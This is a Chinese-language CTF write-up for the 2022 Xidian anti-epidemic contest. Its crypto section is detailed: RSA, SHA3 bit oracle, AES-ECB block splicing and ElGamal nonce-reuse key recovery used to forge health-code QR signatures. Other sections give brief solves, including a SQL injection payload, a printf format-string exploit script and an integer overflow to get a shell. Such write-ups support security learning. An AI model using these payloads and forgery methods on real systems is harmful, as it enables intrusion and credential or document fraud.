概述
2022西电抗疫CTF个人赛
详细写了下crypto的wp,其余方向简略给出思路或脚本
文章目录
- 2022西电抗疫CTF个人赛
- CRYPTO
- 1.做个核酸签个到
- 2.Random?Secure?Algorithm?
- 3.fight_against_covid
- 4.AweSomeSha3!
- 5.BOB的健康码
- 5.1 BOB的健康码1
- 5.2 BOB的健康码2
- 5.3 BOB的健康码3
- MISC
- 1-6
- WEB
- 1-6
- PWN
- 1-3
- 4.Collision
- 5.scripts
- 6.formatstring
- REVERSE
- 1.the edge
- 2.bullshxt
- 3.click it!
- 4.runme
- 5.recovery
CRYPTO
1.做个核酸签个到
逐位遍历二进制的flag和a,b比较即可。
from Crypto.Util.number import *
t=4475588893486760807434877361949655702156202
a=10403436853134845129656953606837707260539903
b=2994485173442830774576326061629704337957160
t=bin(t)[2:].zfill(143)
a=bin(a)[2:].zfill(143)
b=bin(b)[2:].zfill(143)
res=''
for i in range(143):
for j in (0,1):
if j|int(t[i])==int(a[i]) and j&int(t[i])==int(b[i]):
res+=str(j)
print(long_to_bytes(int(res,2)))
2.Random?Secure?Algorithm?
运行gen_prime()函数发现每次输出均相同,则加密过程即为n=p * q * r * s , p=q=r=s的RSA
from random import *
from Crypto.Util.number import*
n=2220807746894627523222202124776163478527976105639908696684960749126424512881854877612451343059455214098898034661237728063590623533844736775173121931789755672281308428039481610223926648486535537266518592523804878106456736231116970493024909507160799408290646002104567544126920953422128397093317788717069423812791560021066430498563457374609893334361756465420330176244989676586479166336218556641172090718482194292197412911139771273274714095735297058566121733012205906499181231909338887015496742596987502746140740611885150614938360456497893944529865631525824696926783090332719331167229992334443881034786985550920319985734221666713601
c=634057945874353594022022069483974274802345710976798102667748679310082300326072415452246707696914695264376634375433404430691377289430628864830705005890158416150698258253919718484678774288826541601787179699274130877838178274549997680506212326443386524962637463047111837598586603070301100227308868294313317591522323170042363202978135769499399961383546980034634956104147199359999671017544747241485716932828394760511756379878402551287792764280949085295956683651929873602289520407522116635348927049436823594743766190445303191020310627575176711547105464725518638312131699845488260895331033189716088924897737884915591463313831762560128
e=0x10001
def gen_prime():
bits = randrange(200,500)
tmp = 1 << bits
while 1:
if isPrime(tmp - 1):
return tmp - 1
tmp <<= 1
p=gen_prime()
phi=(p-1)*p*p*p
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
3.fight_against_covid
flag为32位长的字符串,化为二进制形式后长度为32*8。
函数transmission_of_COVID() 是每次把二进制的flag循环右移一位,一共右移4次,只要写出循环左移4次或者再循环右移32*8-4次即可还原flag
from Crypto.Util.number import *
BITS_LEN = 32 * 8
APART_LEN = 1
TIMES = 32*8-4
state=43440857574112066559373619969745981593504262639540191600960458557114603451242
def transmission_of_COVID(state):
for i in range(TIMES):
tmp1 = state >> APART_LEN
tmp2 = state >> (BITS_LEN - APART_LEN) << (BITS_LEN - APART_LEN)
tmp_state = tmp1 ^ tmp2
state
= tmp_state ^ state
return state
print(long_to_bytes(transmission_of_COVID(state)))
4.AweSomeSha3!
先看源码45行
if len(msg) < len(flag):
msg =
msg + os.urandom(len(flag) - len(msg))
如果我们发送消息长度小于flag长度,则我们的消息会被加上随机字节直到长度与flag相等。只要msg相同,最后返回的结果都是相同的。我们利用这一特性,发送相同长度的消息两次,查看返回的结果是否相同即可确定flag长度。经测试len(flag)=39。
再看源码47-51行
my_and = xor_a_b(xor_a_b(xor_a_b(xor_a_b(and_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_and等同于and_a_b(msg,flag)
my_xor = xor_a_b(xor_a_b(xor_a_b(xor_a_b(xor_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_xor等同于xor_a_b(msg,flag)
my_mix = mix_a_b(my_xor,my_and)
the_real_mix = sha3_512(my_mix).hexdigest()
在mix_a_b函数中输出的第i字节为a中的第(b[i-1]+1)%len(a)字节。只要b的所有字节均相同,输出的my_mix所有字节均相同。考虑b为全0的情况,输出my_mix全为a的第一位。
要构造这种情况,只需使输入的msg为全0即可。此时my_and=b’0‘ * 39,my_xor=flag,my_mix全为my_xor的第一位‘f’,最后返回的结果为sha3_512(b’f’ * 39)。
下一步,改变msg中的一个不是前8位的比特位为1。此时,若flag该位为0,my_and结果不变,my_xor第一个字节‘f’不变,则my_mix不变,返回结果也不变。若flag该位为1,my_and其中一位改变,my_mix结果改变,返回结果改变。这样通过遍历msg中不是前8位的每一个比特位,即可得到flag中不是前8位的每一个比特位。在最后的flag前面加上‘f’即可。
from time import sleep
from Crypto.Util.number import *
from hashlib import
sha3_512
import socketserver
import signal
import os
import socket
ip , port = '101.34.206.158' , 10002
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(2048))
print(s.recv(2048))
LEN=39
print(sha3_512(b'f'*39).hexdigest())
res=''
sha=b'-[+]Oh!Sir/Madam,your msg is mixed into:bed31c723762cf4aaf6c5d426ca3cc3c3d8d61efaef7eefde8e0d04b3be8d0102d3f5cb665925fee5fb6c676a68d590cb692d41b373be76f38c5af9716973f87n'
for i in range(1,39):
print(i)
for j in range(8):
n=hex(2**(7-j))[2:].zfill(2)
m1='00'*i
m2='00'*(39-i-1)
msg=m1+n+m2
s.send(msg.encode())
r=s.recv(2048)
#print(r)
s.recv(2048)
if r==sha:
res+='0'
else:
res+='1'
print(res)
print(b'f'+long_to_bytes(int(res,2)))
5.BOB的健康码
5.1 BOB的健康码1
查看源码,二维码解码后数据data的格式为{"name": "alice", "time": 1641181093, "isRed": 1}
,其中只包含姓名,时间戳,是否为红码三个参数。服务器有4个人alice,bob,carol,david的是否为红码数据,只有alice为红码。
这题data没有经过任何加密,可以随意修改内容。从服务器获取一个alice的二维码,了解格式后把时间戳和是否为红码修改再编码提交即可通过。(时间戳只有30秒有效期
import time
from PIL import Image
from base64 import *
import qrcode
import pyzbar.pyzbar as pyzbar
def qrdecode(qr , size):
qr = b64decode(qr)
code = Image.frombytes('1' , size,qr)
m = pyzbar.decode(code)
return m[0].data
def qrencode(data):
qr = qrcode.QRCode(
error_correction = qrcode.ERROR_CORRECT_L,
border=1,
box_size=1
)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image()
#print(img.get_image())
return b64encode(img.tobytes())
t=int(time.time())
data=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
data=data.replace(b'1641181093',str(t).encode())
print(data)
size=(31,31)#经过尝试,size为31
res=qrencode(data)
print(res)
5.2 BOB的健康码2
这题的data经过aes的ecb模式加密,且每次使用的密钥相同。ecb模式分块加密,每块16字节长,且不考虑密文完整性。可以通过拼接两次加密的不同块达到伪造的效果。
data长度为49字节,加密时被分为4块,最后一块有15bit的padding。已知alice,carol,david三人姓名长度相同,他们data的第一块包含姓名信息,后面几块包含时间戳和是否为红码信息。我们向服务器请求alice和david的二维码,将alice的第一块与david的后三块拼接再发送即可通过。
def solve(qr1,qr2):
size=(39,39)#经过尝试,size为39
c1=b64decode(qrdecode(qr1,size))#alice
c2=b64decode(qrdecode(qr2,size))#david
c_=c1[:16]+c2[16:]
data_=b64encode(c_)
qr_=qrencode(data_).decode()
print(qr_)
return qr_
5.3 BOB的健康码3
这题的data后面附有elgamal数字签名(具体过程请百度),服务器将每次发送的数据签名后发送,每次接收的数据验签后接收。
通过阅读elgamal源码,发现源码在签名过程中的k并不是随机选取的,而是和私钥x有关。每次签名私钥x不变,则k也不变,r=g^k(mod p)也不变。我们向服务器获取alice和david的数据m1,m2及其签名(r1,s1),(r2,s2)。
写出s的定义式,对于两次签名(r1,s1),(r2,s2),x,r,k,q都是定值。
s
≡
(
H
(
m
)
−
x
r
)
k
−
1
(
m
o
d
q
)
(1)
s equiv (H(m)-xr)k^{-1}pmod {q} tag{1}
s≡(H(m)−xr)k−1(modq)(1)
构造s1-s2消去未知的x。
s
1
−
s
2
=
(
H
(
m
1
)
−
H
(
m
2
)
)
k
−
1
(
m
o
d
q
)
(2)
s_1-s_2=(H(m_1)-H(m_2))k^{-1}pmod {q} tag{2}
s1−s2=(H(m1)−H(m2))k−1(modq)(2)
由q是素数,(s1-s2)一定与q互素,(s1-s2)模q的逆存在,可以列出k的计算式:
k
=
(
H
(
m
1
)
−
H
(
m
2
)
)
∗
(
s
1
−
s
2
)
−
1
(
m
o
d
q
)
(3)
k=(H(m_1)-H(m_2))*(s_1-s_2)^{-1}pmod {q} tag{3}
k=(H(m1)−H(m2))∗(s1−s2)−1(modq)(3)
得到k后再将k代入(1)式中即可得到私钥x,就可以用私钥伪造签名了。
from Crypto.Util.number import *
from random import *
from hashlib import *
from base64 import *
import os
import json
import time
from PIL import Image
import qrcode
from Crypto.Cipher import AES
import pyzbar.pyzbar as pyzbar
def pad(m):
padlen = 16 - len(m)%16
return m + bytes([padlen] * padlen)
def unpad(m):
padlen = m[-1]
for i in range(padlen):
if m[-i-1] != padlen:
return 0
return m[:-padlen]
def qrdecode(qr , size):
qr = b64decode(qr)
code = Image.frombytes('1' , size,qr)
m = pyzbar.decode(code)
return m[0].data
def qrencode(data):
qr = qrcode.QRCode(
error_correction = qrcode.ERROR_CORRECT_L,
border=1,
box_size=1
)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image()
#print(img.get_image())
return b64encode(img.tobytes())
def elgamal_sign(key , m):
p ,q , g , y , x = key
k = int(sha256(str(x).encode()).hexdigest() , 16)
m = int(sha256(m).hexdigest() , 16)
r = pow(g ,k , p)
s = (m - x*r)*inverse(k , q) % q
return b64encode(long_to_bytes(r).rjust(16, b'x00') + long_to_bytes(s).rjust(16 , b'x00'))
size=(39,39)#经过尝试,size为39
p,q,g,y=(266828192396796316651265339006252656547, 133414096198398158325632669503126328273, 15364015048434983000852121103848437850, 208157834112908509672981932742105727819)
qr1=b'//6AvmZWAr6z0er6oppYIoqiigZeiqLKJFaKvo3z+vqAqqqqAv/nlDP+mOq6a0LHnWVXHugPejXulfqNYM6UJ7ToZu/pvhU+wKA5Y96pR0x1DojJ1KhKwW6+Jy62PA1gnslKRf/CsGeZaGaFuDYHPvDRf3ZO12bI80LiasSoapVvDge+4v5rUxb/SsAz6o6ElLgu/5pna7aAwH86rr61ACOuorkWuCai/BlaQqLvXlROvoqQ7WaAtPLfYv/+'
qr2=b"//6A36huAr6SX9L6osZp5oqilveaiqLqqm6Kvq09wvqAqqqqAv/7Zff+ggh0UVbJ3ytv/tjCW7Ly0Ubsp9KEtLrQhuVKAA3e3FxItMKZay2iEuQ4GpCq804wH86ssVyngpvWZDje7iSXUIaJ2ag/3tq9brHS5bq5NF7qSdqQipO8gD9eukIKlEqxdrH0tq4nWoAO/6kpU7aAnC76kr7pceOyoprYgAaijydikqKTf5NyvobhKrqAhxznYv/+"
#p,q,g,y=input().split(', ')
p,q,g,y=int(p),int(q),int(g),int(y)
#qr1=input('qr1n').encode()
#qr2=input('qr2n').encode()
data1=qrdecode(qr1 , size)
data2=qrdecode(qr2 , size)
data1 , t1 = data1[:-44] ,data1[-44:]
data2 , t2 = data2[:-44] ,data2[-44:]
m1 = int(sha256(data1).hexdigest() , 16)
t1 = b64decode(t1)
m2 = int(sha256(data2).hexdigest() , 16)
t2 = b64decode(t2)
r1 = bytes_to_long(t1[:16])
s1 = bytes_to_long(t1[16:])
r2 = bytes_to_long(t2[:16])
s2 = bytes_to_long(t2[16:])
k=((m1-m2)*inverse(s1-s2,q))%q
x=((m1-s1*k)*inverse(r1,q))%q
key=(p,q,g,y,x)
new_time=str(int(time.time())).encode()
new_m=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
new_m=new_m.replace(b'1641181093',new_time)
new_t=elgamal_sign(key,new_m)
new_data=new_m+new_t
new_qr=qrencode(new_data)
print(new_qr.decode())
MISC
1-6
题目 | 解法 |
---|---|
1.戴上口罩 | flag在口罩下面,从下往上选取就行了 |
2.帮阿伟买个口罩吧 | 找RPGMAKER的修改器RMModify把存档金钱修改即可 |
3.打不开的压缩包 | 伪加密,用7zip就打开了 |
4.佛说 | 与佛论禅https://www.keyfc.net/bbs/tools/tudoucode.aspx |
5.不一样的贝斯 | base32 base64 |
6.奇怪的文件 | PNG头部缺0D0A1A0A四个字节,然后Stegsolve解LSB隐写 |
WEB
1-6
题目 | 解法 |
---|---|
1.F12 | 看源代码,AAEncode |
2.你喜欢copy吗 | 复制源代码然后用python的split分开 |
3.ez_game | 找到enemys.js,把击杀敌人分数改成9999 |
4.tips | 看源代码找注释/?answer=,答案为121.196.162.53:10000/?answer=B,E |
5.让我访问! | burp改头部HTTP为HS |
6.真是个好简单的sql注入啊! | SELECT * FROM users WHERE username = ‘’ AND password = ’ or 1=1#’ |
PWN
1-3
题目 | 解法 |
---|---|
1.shell | 直接给了shell。 cat flag |
2.fd | puzzle1:两次分别输入1131796,secretKey;puzzle2不会 |
3.integer | 整型溢出,输入2147483648获得shell |
4.Collision
from Crypto.Util.number import*
#Big-endian or Little-endian
s=b"secretKey"+b'x00'*3
s=b"rceseKtex00x00x00y"
l=[0,0,0]
a0=bytes_to_long(s[:4])
a1=bytes_to_long(s[4:8])
a2=bytes_to_long(s[8:])
print(a0,a1,a2,0,0)
# 1919116659 1699443813 121 0 0
5.scripts
在接收的数据中找出两个数字再把两个数字的和发回去100次以上就能拿到shell
import socket
ip , port = '1.117.139.210' , 9605
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
for i in range(5):
print(s.recv(1024))
for i in range(101):
t=s.recv(1024)
t=t.split(b'n')
a=int(t[1][12:])
b=int(t[2][12:])
#print(a+b)
s.send((str(a+b)+'n').encode())
s.recv(1024)
for i in range(3):
print(s.recv(1024))
s.send(b'cat ./flagn')
print(s.recv(1024))
6.formatstring
第一次输入64个0把字符串溢出,获得flag后半段
第二次利用printf格式化字符串漏洞读取地址0x004040c0的字符串
import socket
ip , port = '1.117.139.210' , 9602
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
addr=bytes.fromhex('00000000C04040')
s.send(b'%7$s'+addr+b'n')
print(s.recv(1024))
print(s.recv(1024))
s.close()
REVERSE
不会re,有时候在ida获得神秘字符串,加加减减异或就得到flag了- -
1.the edge
安装运行拖动边界
2.bullshxt
ida获得神秘字符串“gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~”
a='gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~'
for i in a:
print(chr(ord(i)-1),end='')
3.click it!
直接拖进ida搜索字符串
4.runme
a='103 110 98 99 126 85 54 102 110 85 75 83 94 62 97 41 78 38 76 65 32 107'.split(' ')
for i in range(len(a)):
print(chr(int(a[i])^i+1),end='')
5.recovery
c=b"'31=3t3333x9d3/x8dx17-#-xbd1xbdxbdxedx05xedxedxedxedxedxedxedxed"
def swap_matrix_row(matrix):
for i in range(0, len(matrix) - 1, 2):
matrix[i],matrix[i+1] = matrix[i+1], matrix[i]
return matrix
c=[bin(c[i])[2:].zfill(8) for i in range(32)]
c=swap_matrix_row(c)
for i in range(32):
c[i]=c[i][-1]+c[i][:-1]
print(bytes([int(i,2)^0xff for i in c]))
最后
以上就是紧张彩虹为你收集整理的2022西电抗疫CTF个人赛2022西电抗疫CTF个人赛CRYPTOMISCWEBPWNREVERSE的全部内容,希望文章能够帮你解决2022西电抗疫CTF个人赛2022西电抗疫CTF个人赛CRYPTOMISCWEBPWNREVERSE所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复